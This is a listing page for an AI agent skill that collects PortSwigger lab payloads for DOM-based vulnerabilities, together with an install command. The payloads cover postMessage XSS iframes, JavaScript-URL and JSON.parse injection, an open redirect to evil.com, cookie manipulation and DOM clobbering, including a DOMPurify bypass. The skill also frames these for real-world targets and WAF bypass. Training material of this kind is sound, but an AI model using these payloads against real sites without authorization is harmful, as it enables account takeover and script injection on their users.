Dom vulns
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniquesFrom its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill dom-vulnsAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
SKILL.md
4.9 KB, ~1.1k tokens by cl100k_base, as published. Nobody here has run it
DOM-based Vulnerabilities β Complete Deep Dive
Deep-Dive Lab Playbook β Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: π’ Apprentice π‘ Practitioner π΄ Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting β these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: DOM XSS web messages π‘ PRACTITIONER
<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
Target listens to message event and writes to innerHTML without origin check.
Lab 2: Web messages + JS URL π‘ PRACTITIONER
<iframe src="https://TARGET" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
Message handler checks indexOf('http:') β append it after // comment.
Lab 3: Web messages + JSON.parse π‘ PRACTITIONER
<iframe src="https://TARGET" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
Lab 4: DOM open redirection π‘ PRACTITIONER
https://TARGET/post?postId=1&url=https://evil.com
Lab 5: DOM cookie manipulation π‘ PRACTITIONER
<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">
Lab 6: DOM clobbering XSS π‘ PRACTITIONER
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">
Clobbers defaultAvatar.avatar property used in src attribute.
Lab 7: Clobbering to bypass HTML filters π΄ EXPERT
<form id=x tabindex=0 onfocus=print()><input id=attributes>
Clobbers element.attributes so DOMPurify can't enumerate and remove event handlers.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
π΅ Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
π‘οΈ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
π Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdβ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdβ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdβ Verified disclosed bounties by vulnerability class
References
What ships with it: 1 file
7.8 KB alongside SKILL.md, 1 of them executable
scripts/
- process.pyruns7.8 KB